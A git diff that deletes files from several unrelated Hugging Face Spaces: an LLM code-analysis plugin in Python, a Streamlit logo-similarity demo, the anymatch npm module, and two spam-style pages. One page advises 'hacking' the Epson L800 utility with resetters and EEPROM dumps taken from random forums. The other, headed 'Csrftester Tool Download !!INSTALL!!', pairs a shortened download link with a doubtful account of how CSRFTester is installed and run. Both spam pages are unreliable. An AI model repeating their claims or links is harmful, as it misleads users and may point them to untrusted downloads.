-<h3>Tools and methods for hacking Epson L800 Utility</h3>
-<p>If you still want to hack Epson L800 Utility despite the risks, you will need some tools and methods to do it. Some of the most common and popular tools and methods are:</p>
-<ul>
-<li><strong>WIC utility</strong>: WIC utility is a software tool that can reset the waste ink counters and ink levels of Epson printers. It can also update the firmware and drivers of Epson printers. You can download WIC utility from its official website  or from other sources online. You will need to buy a key or code to use WIC utility for your printer model.</li>
-<li><strong>Resetter program</strong>: Resetter program is a software tool that can reset the counters and settings of Epson printers. It can also unlock some hidden functions and options of Epson printers. You can download resetter program from various websites or forums online. You will need to run the program as an administrator and follow the instructions on the screen.</li>
-<li><strong>EEPROM dump file</strong>: EEPROM dump file is a file that contains the data and information of the EEPROM (Electrically Erasable Programmable Read-Only Memory) chip of Epson printers. The EEPROM chip stores the settings and configuration of Epson printers. You can download EEPROM dump file from various websites or forums online. You will need to use a software tool such as EEPROM utility or EEPROM programmer to read and write the EEPROM dump file to your printer.</li>
-</ul>
-<h3>Steps for hacking Epson L800 Utility</h3>
-<p>The steps for hacking Epson L800 Utility may vary depending on the tool and method that you use. However, here is a general guide that you can follow:</p>
-<ol>
-<li>Connect your printer to your computer via USB, Wi-Fi, or Ethernet.</li>
-<li>Turn on your printer and make sure it is in a ready state.</li>
-<li>Download and install the tool that you want to use for hacking Epson L800 Utility.</li>
-<li>Run the tool as an administrator and select your printer model and port.</li>
-<li>Follow the instructions on the tool to perform the desired function, such as resetting counters, updating firmware, changing settings, etc.</li>
-<li>Wait for the tool to complete the process and show a confirmation message.</li>
-<li>Turn off your printer and disconnect it from your computer.</li>
-<li>Turn on your printer again and check if it works normally and if the hack was successful.</li>
-</ol>
-<h2>Alternatives to hacking Epson L800 Utility</h2>
-<h3>Official solutions from Epson</h3>
-<p>If you are not comfortable with hacking Epson L800 Utility or if you want to avoid the risks of doing so, you can try some official solutions from Epson that can help you with your printer issues. Some of these solutions are:</p>
-<ul>
-<li><strong>Firmware updates</strong>: Firmware updates are software updates that can improve the performance and functionality of your printer. They can also fix some errors and problems that may occur with your printer. You can download firmware updates from the official website of Epson  or from the Epson L800 Utility itself.</li>
-<li><strong>Customer service</strong>: Customer service is a service that can provide you with technical support and assistance for your printer. You can contact customer service by phone, email, chat, or online form. You can find the contact details of customer service on the official website of Epson  or on the user manual of your printer.</li>
-<li><strong>User manual</strong>: User manual is a document that contains information and instructions on how to use and maintain your printer. It also has some troubleshooting tips and FAQs that can help you solve some common issues with your printer. You can download user manual from the official website of Epson  or from the CD/DVD that came with your printer.</li>
-</ul>
-<h3>Other options for resetting or repairing Epson L800 printer</h <h3>Other options for resetting or repairing Epson L800 printer</h3>
-<p>If you are looking for some other options for resetting or repairing your Epson L800 printer, you can try some of these:</p>
-<ul>
-<li><strong>Buying new ink pads</strong>: Ink pads are parts of your printer that absorb the excess ink that is used during printing or cleaning. They have a limited capacity and need to be replaced when they are full. You can buy new ink pads from Epson or from other online or offline stores. You can also replace them yourself or hire a professional to do it for you.</li>
-<li><strong>Replacing parts</strong>: Parts are components of your printer that may wear out or break over time. They include print heads, ink tanks, sensors, motors, etc. You can buy new parts from Epson or from other online or offline stores. You can also replace them yourself or hire a professional to do it for you.</li>
-<li><strong>Using compatible software</strong>: Software is the program that runs on your computer or mobile device and communicates with your printer. It includes drivers, utilities, applications, etc. You can use compatible software from Epson or from other sources that can work with your printer model and operating system. You can also update or uninstall the software if it causes any issues with your printer.</li>
-</ul>
-<h1>Conclusion</h1>
-<p>In this article, we have explained what Epson L800 Utility is, why someone might want to hack it, and how to do it. We have also discussed the benefits and risks of hacking Epson L800 Utility, and some alternatives that you can consider instead.</p>
-<p>Hacking Epson L800 Utility can be a tempting option for users who want to save money on ink, resolve errors, reset counters, or unlock hidden functions. However, hacking Epson L800 Utility can also be a risky option that can void the warranty, damage the printer, expose the data, or break the laws.</p>
-<p>Therefore, we recommend that you weigh the pros and cons carefully before you decide to hack Epson L800 Utility. You should also backup your data and files before you attempt any hack. If you are not sure how to hack Epson L800 Utility or if you encounter any problems during the process, you should seek professional help or advice.</p>
-<p>We hope that this article has been helpful and informative for you. If you have any questions or comments, please feel free to leave them below. Thank you for reading!</p>
-<h2>FAQs</h2>
-<h3>What is the difference between normal cleaning and power cleaning in Epson L800 Utility?</h3>
-<p>Normal cleaning uses less ink than power cleaning and is recommended for regular maintenance. Power cleaning uses more ink than normal cleaning and is recommended for severe clogging or print quality issues.</p>
-<h3>How can I check if my Epson L800 printer has been hacked?</h3>
-<p>You can check if your Epson L800 printer has been hacked by looking at the printer information in the utility or on the printer screen. If you see any changes in the serial number, firmware version, ink levels, or other settings that you did not make yourself, your printer may have been hacked.</p>
-<h3>How can I protect my Epson L800 printer from being hacked?</h3>
-<p>You can protect your Epson L800 printer from being hacked by using strong and unique passwords for your printer and network settings, enabling multi-factor authentication for your online accounts, updating your printer firmware regularly, and avoiding suspicious links or downloads.</p>
-<h3>How can I restore my Epson L800 printer to its factory settings?</h3>
-<p>You can restore your Epson L800 printer to its factory settings by using the reset button on the back of the printer or by selecting the restore default settings option in the utility menu. This will erase all your custom settings and data from the printer memory.</p>
-<h3>Where can I find more information or support for my Epson L800 printer?</h3>
-<p>You can find more information or support for your Epson L800 printer by visiting the official website of Epson , downloading the user manual , contacting the customer service , or joining the online community .</p> b2dd77e56b<br />
-<br />
-<br />
\ No newline at end of file
diff --git "a/spaces/rainy3/chatgpt_academic/crazy_functions/\350\247\243\346\236\220\351\241\271\347\233\256\346\272\220\344\273\243\347\240\201.py" "b/spaces/rainy3/chatgpt_academic/crazy_functions/\350\247\243\346\236\220\351\241\271\347\233\256\346\272\220\344\273\243\347\240\201.py"
deleted file mode 100644
index 2cb96eb33ddafa7527716e916d6d463ff7b70a9a..0000000000000000000000000000000000000000
--- "a/spaces/rainy3/chatgpt_academic/crazy_functions/\350\247\243\346\236\220\351\241\271\347\233\256\346\272\220\344\273\243\347\240\201.py"
+++ /dev/null
@@ -1,258 +0,0 @@
-from toolbox import update_ui
-from toolbox import CatchException, report_execption, write_results_to_file
-
-def 解析源代码新(file_manifest, project_folder, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt):
-    import os, copy
-    from .crazy_utils import request_gpt_model_multi_threads_with_very_awesome_ui_and_high_efficiency
-    from .crazy_utils import request_gpt_model_in_new_thread_with_ui_alive
-    msg = '正常'
-    inputs_array = []
-    inputs_show_user_array = []
-    history_array = []
-    sys_prompt_array = []
-    report_part_1 = []
-
-    ############################## <第一步，逐个文件分析，多线程> ##################################
-    for index, fp in enumerate(file_manifest):
-        with open(fp, 'r', encoding='utf-8', errors='replace') as f:
-            file_content = f.read()
-        prefix = "接下来请你逐文件分析下面的工程" if index==0 else ""
-        i_say = prefix + f'请对下面的程序文件做一个概述文件名是{os.path.relpath(fp, project_folder)}，文件代码是 ```{file_content}```'
-        i_say_show_user = prefix + f'[{index}/{len(file_manifest)}] 请对下面的程序文件做一个概述: {os.path.abspath(fp)}'
-        # 装载请求内容
-        inputs_array.append(i_say)
-        inputs_show_user_array.append(i_say_show_user)
-        history_array.append([])
-        sys_prompt_array.append("你是一个程序架构分析师，正在分析一个源代码项目。你的回答必须简单明了。")
-
-    gpt_response_collection = yield from request_gpt_model_multi_threads_with_very_awesome_ui_and_high_efficiency(
-        inputs_array = inputs_array,
-        inputs_show_user_array = inputs_show_user_array,
-        history_array = history_array,
-        sys_prompt_array = sys_prompt_array,
-        llm_kwargs = llm_kwargs,
-        chatbot = chatbot,
-        show_user_at_complete = True
-    )
-
-    report_part_1 = copy.deepcopy(gpt_response_collection)
-    history_to_return = report_part_1
-    res = write_results_to_file(report_part_1)
-    chatbot.append(("完成？", "逐个文件分析已完成。" + res + "\n\n正在开始汇总。"))
-    yield from update_ui(chatbot=chatbot, history=history_to_return) # 刷新界面
-
-    ############################## <存储中间数据进行调试> ##################################
-        
-    # def objdump(obj):
-    #     import pickle
-    #     with open('objdump.tmp', 'wb+') as f:
-    #         pickle.dump(obj, f)
-    #     return
-
-    # def objload():
-    #     import pickle, os
-    #     if not os.path.exists('objdump.tmp'): 
-    #         return
-    #     with open('objdump.tmp', 'rb') as f:
-    #         return pickle.load(f)
-    # objdump([report_part_1, gpt_response_collection, history_to_return, file_manifest, project_folder, fp, llm_kwargs, chatbot])
-    
-    ############################## <第二步，综合，单线程，分组+迭代处理> ##################################
-    batchsize = 16  # 10个文件为一组
-    report_part_2 = []
-    previous_iteration_files = []
-    last_iteration_result = ""
-    while True:
-        if len(file_manifest) == 0: break
-        this_iteration_file_manifest = file_manifest[:batchsize]
-        this_iteration_gpt_response_collection = gpt_response_collection[:batchsize*2]
-        file_rel_path = [os.path.relpath(fp, project_folder) for index, fp in enumerate(this_iteration_file_manifest)]
-        # 把“请对下面的程序文件做一个概述” 替换成 精简的 "文件名：{all_file[index]}"
-        for index, content in enumerate(this_iteration_gpt_response_collection):
-            if index%2==0: this_iteration_gpt_response_collection[index] = f"{file_rel_path[index//2]}" # 只保留文件名节省token
-        previous_iteration_files.extend([os.path.relpath(fp, project_folder) for index, fp in enumerate(this_iteration_file_manifest)])
-        previous_iteration_files_string = ', '.join(previous_iteration_files)
-        current_iteration_focus = ', '.join([os.path.relpath(fp, project_folder) for index, fp in enumerate(this_iteration_file_manifest)])
-        i_say = f'根据以上分析，对程序的整体功能和构架重新做出概括。然后用一张markdown表格整理每个文件的功能（包括{previous_iteration_files_string}）。'
-        inputs_show_user = f'根据以上分析，对程序的整体功能和构架重新做出概括，由于输入长度限制，可能需要分组处理，本组文件为 {current_iteration_focus} + 已经汇总的文件组。'
-        this_iteration_history = copy.deepcopy(this_iteration_gpt_response_collection) 
-        this_iteration_history.append(last_iteration_result)
-        result = yield from request_gpt_model_in_new_thread_with_ui_alive(
-            inputs=i_say, inputs_show_user=inputs_show_user, llm_kwargs=llm_kwargs, chatbot=chatbot, 
-            history=this_iteration_history,   # 迭代之前的分析
-            sys_prompt="你是一个程序架构分析师，正在分析一个项目的源代码。")
-        report_part_2.extend([i_say, result])
-        last_iteration_result = result
-
-        file_manifest = file_manifest[batchsize:]
-        gpt_response_collection = gpt_response_collection[batchsize*2:]
-
-    ############################## <END> ##################################
-    history_to_return.extend(report_part_2)
-    res = write_results_to_file(history_to_return)
-    chatbot.append(("完成了吗？", res))
-    yield from update_ui(chatbot=chatbot, history=history_to_return) # 刷新界面
-
-
-@CatchException
-def 解析项目本身(txt, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt, web_port):
-    history = []    # 清空历史，以免输入溢出
-    import glob
-    file_manifest = [f for f in glob.glob('./*.py') if ('test_project' not in f) and ('gpt_log' not in f)] + \
-                    [f for f in glob.glob('./crazy_functions/*.py') if ('test_project' not in f) and ('gpt_log' not in f)]+ \
-                    [f for f in glob.glob('./request_llm/*.py') if ('test_project' not in f) and ('gpt_log' not in f)]
-    project_folder = './'
-    if len(file_manifest) == 0:
-        report_execption(chatbot, history, a = f"解析项目: {txt}", b = f"找不到任何python文件: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    yield from 解析源代码新(file_manifest, project_folder, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt)
-
-@CatchException
-def 解析一个Python项目(txt, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt, web_port):
-    history = []    # 清空历史，以免输入溢出
-    import glob, os
-    if os.path.exists(txt):
-        project_folder = txt
-    else:
-        if txt == "": txt = '空空如也的输入栏'
-        report_execption(chatbot, history, a = f"解析项目: {txt}", b = f"找不到本地项目或无权访问: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    file_manifest = [f for f in glob.glob(f'{project_folder}/**/*.py', recursive=True)]
-    if len(file_manifest) == 0:
-        report_execption(chatbot, history, a = f"解析项目: {txt}", b = f"找不到任何python文件: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    yield from 解析源代码新(file_manifest, project_folder, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt)
-
-
-@CatchException
-def 解析一个C项目的头文件(txt, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt, web_port):
-    history = []    # 清空历史，以免输入溢出
-    import glob, os
-    if os.path.exists(txt):
-        project_folder = txt
-    else:
-        if txt == "": txt = '空空如也的输入栏'
-        report_execption(chatbot, history, a = f"解析项目: {txt}", b = f"找不到本地项目或无权访问: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    file_manifest = [f for f in glob.glob(f'{project_folder}/**/*.h', recursive=True)]  + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.hpp', recursive=True)] #+ \
-                    # [f for f in glob.glob(f'{project_folder}/**/*.c', recursive=True)]
-    if len(file_manifest) == 0:
-        report_execption(chatbot, history, a = f"解析项目: {txt}", b = f"找不到任何.h头文件: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    yield from 解析源代码新(file_manifest, project_folder, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt)
-
-@CatchException
-def 解析一个C项目(txt, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt, web_port):
-    history = []    # 清空历史，以免输入溢出
-    import glob, os
-    if os.path.exists(txt):
-        project_folder = txt
-    else:
-        if txt == "": txt = '空空如也的输入栏'
-        report_execption(chatbot, history, a = f"解析项目: {txt}", b = f"找不到本地项目或无权访问: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    file_manifest = [f for f in glob.glob(f'{project_folder}/**/*.h', recursive=True)]  + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.cpp', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.hpp', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.c', recursive=True)]
-    if len(file_manifest) == 0:
-        report_execption(chatbot, history, a = f"解析项目: {txt}", b = f"找不到任何.h头文件: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    yield from 解析源代码新(file_manifest, project_folder, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt)
-
-
-@CatchException
-def 解析一个Java项目(txt, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt, web_port):
-    history = []  # 清空历史，以免输入溢出
-    import glob, os
-    if os.path.exists(txt):
-        project_folder = txt
-    else:
-        if txt == "": txt = '空空如也的输入栏'
-        report_execption(chatbot, history, a=f"解析项目: {txt}", b=f"找不到本地项目或无权访问: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    file_manifest = [f for f in glob.glob(f'{project_folder}/**/*.java', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.jar', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.xml', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.sh', recursive=True)]
-    if len(file_manifest) == 0:
-        report_execption(chatbot, history, a=f"解析项目: {txt}", b=f"找不到任何java文件: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    yield from 解析源代码新(file_manifest, project_folder, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt)
-
-
-@CatchException
-def 解析一个Rect项目(txt, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt, web_port):
-    history = []  # 清空历史，以免输入溢出
-    import glob, os
-    if os.path.exists(txt):
-        project_folder = txt
-    else:
-        if txt == "": txt = '空空如也的输入栏'
-        report_execption(chatbot, history, a=f"解析项目: {txt}", b=f"找不到本地项目或无权访问: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    file_manifest = [f for f in glob.glob(f'{project_folder}/**/*.ts', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.tsx', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.json', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.js', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.jsx', recursive=True)]
-    if len(file_manifest) == 0:
-        report_execption(chatbot, history, a=f"解析项目: {txt}", b=f"找不到任何Rect文件: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    yield from 解析源代码新(file_manifest, project_folder, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt)
-
-
-@CatchException
-def 解析一个Golang项目(txt, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt, web_port):
-    history = []  # 清空历史，以免输入溢出
-    import glob, os
-    if os.path.exists(txt):
-        project_folder = txt
-    else:
-        if txt == "": txt = '空空如也的输入栏'
-        report_execption(chatbot, history, a=f"解析项目: {txt}", b=f"找不到本地项目或无权访问: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    file_manifest = [f for f in glob.glob(f'{project_folder}/**/*.go', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/go.mod', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/go.sum', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/go.work', recursive=True)]
-    if len(file_manifest) == 0:
-        report_execption(chatbot, history, a=f"解析项目: {txt}", b=f"找不到任何golang文件: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    yield from 解析源代码新(file_manifest, project_folder, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt)
-    
-    
-@CatchException
-def 解析一个Lua项目(txt, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt, web_port):
-    history = []    # 清空历史，以免输入溢出
-    import glob, os
-    if os.path.exists(txt):
-        project_folder = txt
-    else:
-        if txt == "": txt = '空空如也的输入栏'
-        report_execption(chatbot, history, a = f"解析项目: {txt}", b = f"找不到本地项目或无权访问: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    file_manifest = [f for f in glob.glob(f'{project_folder}/**/*.lua', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.xml', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.json', recursive=True)] + \
-                    [f for f in glob.glob(f'{project_folder}/**/*.toml', recursive=True)]
-    if len(file_manifest) == 0:
-        report_execption(chatbot, history, a = f"解析项目: {txt}", b = f"找不到任何lua文件: {txt}")
-        yield from update_ui(chatbot=chatbot, history=history) # 刷新界面
-        return
-    yield from 解析源代码新(file_manifest, project_folder, llm_kwargs, plugin_kwargs, chatbot, history, system_prompt)    
diff --git a/spaces/raphael0202/logo-clip-demo/app.py b/spaces/raphael0202/logo-clip-demo/app.py
deleted file mode 100644
index 91b4367dda1b1ef7dbb660623fba5e59ef0715e6..0000000000000000000000000000000000000000
--- a/spaces/raphael0202/logo-clip-demo/app.py
+++ /dev/null
@@ -1,171 +0,0 @@
-import gzip
-import io
-import json
-import random
-import re
-import tempfile
-from typing import Dict, List, Optional
-
-from PIL import Image
-import requests
-import streamlit as st
-
-
-http_session = requests.Session()
-
-API_URL = "https://world.openfoodfacts.org/api/v0"
-PRODUCT_URL = API_URL + "/product"
-OFF_IMAGE_BASE_URL = "https://static.openfoodfacts.org/images/products"
-BARCODE_PATH_REGEX = re.compile(r"^(...)(...)(...)(.*)$")
-
-
-@st.cache(allow_output_mutation=True)
-def load_nn_data(url: str):
-    r = http_session.get(url)
-    with gzip.open(io.BytesIO(r.content), "rt") as f:
-        return {int(key): value for key, value in json.loads(f.read()).items()}
-
-
-@st.cache(allow_output_mutation=True)
-def load_logo_data(url: str):
-    r = http_session.get(url)
-    with gzip.open(io.BytesIO(r.content), "rt") as f:
-        return {
-            int(item["id"]): item for item in (json.loads(x) for x in map(str.strip, f))
-        }
-
-
-def get_image_from_url(
-    image_url: str,
-    error_raise: bool = False,
-    session: Optional[requests.Session] = None,
-) -> Optional[Image.Image]:
-    if session:
-        r = http_session.get(image_url)
-    else:
-        r = requests.get(image_url)
-
-    if error_raise:
-        r.raise_for_status()
-
-    if r.status_code != 200:
-        return None
-
-    with tempfile.NamedTemporaryFile() as f:
-        f.write(r.content)
-        image = Image.open(f.name)
-
-    return image
-
-
-def split_barcode(barcode: str) -> List[str]:
-    if not barcode.isdigit():
-        raise ValueError("unknown barcode format: {}".format(barcode))
-
-    match = BARCODE_PATH_REGEX.fullmatch(barcode)
-
-    if match:
-        return [x for x in match.groups() if x]
-
-    return [barcode]
-
-
-def get_cropped_image(barcode: str, image_id: str, bounding_box):
-    image_path = generate_image_path(barcode, image_id)
-    url = OFF_IMAGE_BASE_URL + image_path
-    image = get_image_from_url(url, session=http_session)
-
-    if image is None:
-        return
-
-    ymin, xmin, ymax, xmax = bounding_box
-    (left, right, top, bottom) = (
-        xmin * image.width,
-        xmax * image.width,
-        ymin * image.height,
-        ymax * image.height,
-    )
-    return image.crop((left, top, right, bottom))
-
-
-def generate_image_path(barcode: str, image_id: str) -> str:
-    splitted_barcode = split_barcode(barcode)
-    return "/{}/{}.jpg".format("/".join(splitted_barcode), image_id)
-
-
-def display_predictions(
-    logo_data: Dict,
-    nn_data: Dict,
-    logo_id: Optional[int] = None,
-):
-    if not logo_id:
-        logo_id = random.choice(list(nn_data.keys()))
-
-    st.write(f"Logo ID: {logo_id}")
-    logo = logo_data[logo_id]
-    logo_nn_data = nn_data[logo_id]
-    nn_ids = logo_nn_data["ids"]
-    nn_distances = logo_nn_data["distances"]
-    annotation = logo_nn_data["annotation"]
-
-    cropped_image = get_cropped_image(
-        logo["barcode"], logo["image_id"], logo["bounding_box"]
-    )
-
-    if cropped_image is None:
-        return
-    st.image(cropped_image, annotation, width=200)
-
-    cropped_images: List[Image.Image] = []
-    captions: List[str] = []
-    progress_bar = st.progress(0)
-
-    for i, (closest_id, distance) in enumerate(zip(nn_ids, nn_distances)):
-        progress_bar.progress((i + 1) / len(nn_ids))
-        closest_logo = logo_data[closest_id]
-
-        cropped_image = get_cropped_image(
-            closest_logo["barcode"],
-            closest_logo["image_id"],
-            closest_logo["bounding_box"],
-        )
-        if cropped_image is None:
-            continue
-
-        if cropped_image.height > cropped_image.width:
-            cropped_image = cropped_image.rotate(90)
-
-        cropped_images.append(cropped_image)
-        captions.append(f"distance: {distance}")
-
-    if cropped_images:
-        st.image(cropped_images, captions, width=200)
-
-
-st.sidebar.title("Logo Nearest Neighbors Demo")
-st.sidebar.write(
-    "Get first 100 nearest neighbors for a random annotated logo.\n\n"
-    "CLIP model is used to generate embeddings, and nearest neighbors "
-    "are computed either using a brute-force approach or with ANN."
-)
-logo_id = st.sidebar.number_input("logo ID", step=1) or None
-approximate = (
-    st.sidebar.checkbox(
-        "ANN (HNSW)",
-        value=False,
-        help="Display approximate neighbors (instead of real "
-        "neighbors computed using brute-force approach",
-    )
-    or None
-)
-nn_data = load_nn_data(
-    f"https://static.openfoodfacts.org/data/logos/{'hnsw_50_closest_neighbours' if approximate else 'exact_100_neighbours'}.json.gz"
-)
-logo_data = load_logo_data(
-    "https://static.openfoodfacts.org/data/logos/logo_annotations.jsonl.gz"
-)
-if approximate:
-    st.write("Using approximate nearest neighbors method")
-else:
-    st.write("Using exact (brute-force) nearest neighbors method")
-display_predictions(logo_data=logo_data, nn_data=nn_data, logo_id=logo_id)
diff --git a/spaces/rayan-saleh/whisper2notion/server/node_modules/anymatch/index.js b/spaces/rayan-saleh/whisper2notion/server/node_modules/anymatch/index.js
deleted file mode 100644
index 8eb73e9c9a61d2c642d3c5f44a2fe4cd6cd04615..0000000000000000000000000000000000000000
--- a/spaces/rayan-saleh/whisper2notion/server/node_modules/anymatch/index.js
+++ /dev/null
@@ -1,104 +0,0 @@
-'use strict';
-
-Object.defineProperty(exports, "__esModule", { value: true });
-
-const picomatch = require('picomatch');
-const normalizePath = require('normalize-path');
-
-/**
- * @typedef {(testString: string) => boolean} AnymatchFn
- * @typedef {string|RegExp|AnymatchFn} AnymatchPattern
- * @typedef {AnymatchPattern|AnymatchPattern[]} AnymatchMatcher
- */
-const BANG = '!';
-const DEFAULT_OPTIONS = {returnIndex: false};
-const arrify = (item) => Array.isArray(item) ? item : [item];
-
-/**
- * @param {AnymatchPattern} matcher
- * @param {object} options
- * @returns {AnymatchFn}
- */
-const createPattern = (matcher, options) => {
-  if (typeof matcher === 'function') {
-    return matcher;
-  }
-  if (typeof matcher === 'string') {
-    const glob = picomatch(matcher, options);
-    return (string) => matcher === string || glob(string);
-  }
-  if (matcher instanceof RegExp) {
-    return (string) => matcher.test(string);
-  }
-  return (string) => false;
-};
-
-/**
- * @param {Array<Function>} patterns
- * @param {Array<Function>} negPatterns
- * @param {String|Array} args
- * @param {Boolean} returnIndex
- * @returns {boolean|number}
- */
-const matchPatterns = (patterns, negPatterns, args, returnIndex) => {
-  const isList = Array.isArray(args);
-  const _path = isList ? args[0] : args;
-  if (!isList && typeof _path !== 'string') {
-    throw new TypeError('anymatch: second argument must be a string: got ' +
-      Object.prototype.toString.call(_path))
-  }
-  const path = normalizePath(_path, false);
-
-  for (let index = 0; index < negPatterns.length; index++) {
-    const nglob = negPatterns[index];
-    if (nglob(path)) {
-      return returnIndex ? -1 : false;
-    }
-  }
-
-  const applied = isList && [path].concat(args.slice(1));
-  for (let index = 0; index < patterns.length; index++) {
-    const pattern = patterns[index];
-    if (isList ? pattern(...applied) : pattern(path)) {
-      return returnIndex ? index : true;
-    }
-  }
-
-  return returnIndex ? -1 : false;
-};
-
-/**
- * @param {AnymatchMatcher} matchers
- * @param {Array|string} testString
- * @param {object} options
- * @returns {boolean|number|Function}
- */
-const anymatch = (matchers, testString, options = DEFAULT_OPTIONS) => {
-  if (matchers == null) {
-    throw new TypeError('anymatch: specify first argument');
-  }
-  const opts = typeof options === 'boolean' ? {returnIndex: options} : options;
-  const returnIndex = opts.returnIndex || false;
-
-  // Early cache for matchers.
-  const mtchers = arrify(matchers);
-  const negatedGlobs = mtchers
-    .filter(item => typeof item === 'string' && item.charAt(0) === BANG)
-    .map(item => item.slice(1))
-    .map(item => picomatch(item, opts));
-  const patterns = mtchers
-    .filter(item => typeof item !== 'string' || (typeof item === 'string' && item.charAt(0) !== BANG))
-    .map(matcher => createPattern(matcher, opts));
-
-  if (testString == null) {
-    return (testString, ri = false) => {
-      const returnIndex = typeof ri === 'boolean' ? ri : false;
-      return matchPatterns(patterns, negatedGlobs, testString, returnIndex);
-    }
-  }
-
-  return matchPatterns(patterns, negatedGlobs, testString, returnIndex);
-};
-
-anymatch.default = anymatch;
-module.exports = anymatch;
diff --git a/spaces/recenWmenso/ChatGPT-with-Voice-Cloning-for-All/datasets/Csrftester Tool Download !!INSTALL!! For Windows.md b/spaces/recenWmenso/ChatGPT-with-Voice-Cloning-for-All/datasets/Csrftester Tool Download !!INSTALL!! For Windows.md
deleted file mode 100644
index 30b3dd55687d70a02f98ee82cbf72f5de2593a87..0000000000000000000000000000000000000000
--- a/spaces/recenWmenso/ChatGPT-with-Voice-Cloning-for-All/datasets/Csrftester Tool Download !!INSTALL!! For Windows.md	
+++ /dev/null
@@ -1,17 +0,0 @@
-<br />
-<h1>How to Test CSRF Vulnerability in Websites with CSRFTester Tool</h1>
-<p>CSRFTester is a free and open source tool for testing CSRF vulnerability in websites. CSRF stands for Cross-Site Request Forgery, which is an attack where the victim is tricked into loading information from or submitting information to a web application for which they are currently authenticated. The web application has no way of verifying the integrity of the request, so it may perform actions that the victim did not intend.</p>
-<p>CSRFTester is developed by OWASP, which is a non-profit organization that aims to improve the security of web applications. CSRFTester allows you to make GET or POST requests to a target website, add parameters to the request, and open the result in an iframe or in a new tab/window. You can also view the request and response headers, cookies, and body.</p>
-<h2>csrftester tool download for windows</h2><br /><p><b><b>Download File</b> &mdash;&mdash;&mdash;&mdash;&mdash; <a href="https://urlgoal.com/2uCKqU">https://urlgoal.com/2uCKqU</a></b></p><br /><br />
-<p>To use CSRFTester, you need to download the zip file from <a href="http://www.toolwar.com/2013/12/csrftester-csrf-vulnerability-tester.html">here</a> [^1^] and extract it to a folder. Then, you need to run the app.js file with Node.js, which is a JavaScript runtime environment. You can download Node.js from <a href="https://nodejs.org/en/">here</a>. After running app.js, you can access CSRFTester from your browser at http://localhost:3000.</p>
-<p>Alternatively, you can use a web-based version of CSRFTester hosted on GitHub Pages at <a href="https://sergioccrr.github.io/csrf-tester/">here</a> [^2^]. This version does not require any installation or configuration, but it may not work with some websites that do not allow to be called in an iframe.</p>
-<p>To test a website for CSRF vulnerability, you need to enter the URL of the website in the Target field, choose the method (GET or POST), add any parameters you want to send with the request, and click on Send Request. You can also choose whether to open the result in an iframe or in a new tab/window. You can then observe the outcome of the request and see if it performed any unwanted actions on behalf of the victim.</p>
-<p>For example, if you want to test if a website allows you to change your password without verifying your current password, you can enter the URL of the password change page in the Target field, choose POST as the method, add parameters such as new_password and confirm_password with some values, and click on Send Request. If the result shows that your password has been changed successfully, then the website is vulnerable to CSRF attacks.</p>
-<p>CSRFTester is a useful tool for testing CSRF vulnerability in websites, but it does not guarantee that a website is secure or insecure. It is always recommended to use other methods and tools to verify the security of web applications. You can also learn more about CSRF attacks and how to prevent them from <a href="https://owasp.org/www-community/attacks/csrf">here</a>.</p>
-
-<p>CSRF attacks can have serious consequences for both the victims and the web applications. For example, a CSRF attack can allow an attacker to transfer money from the victim's bank account, change the victim's email settings, post messages on the victim's social media accounts, or delete the victim's data. CSRF attacks can also damage the reputation and trust of the web applications that are affected by them.</p>
-<p></p>
-<p>There are several ways to prevent CSRF attacks on web applications. One of the most common and effective methods is to use a CSRF token, which is a random and unique value that is generated by the server and sent to the client along with the form or request. The client then has to send back the same token with the request, and the server has to verify that the token matches. This way, the server can ensure that the request is coming from a legitimate source and not from a malicious third-party.</p>
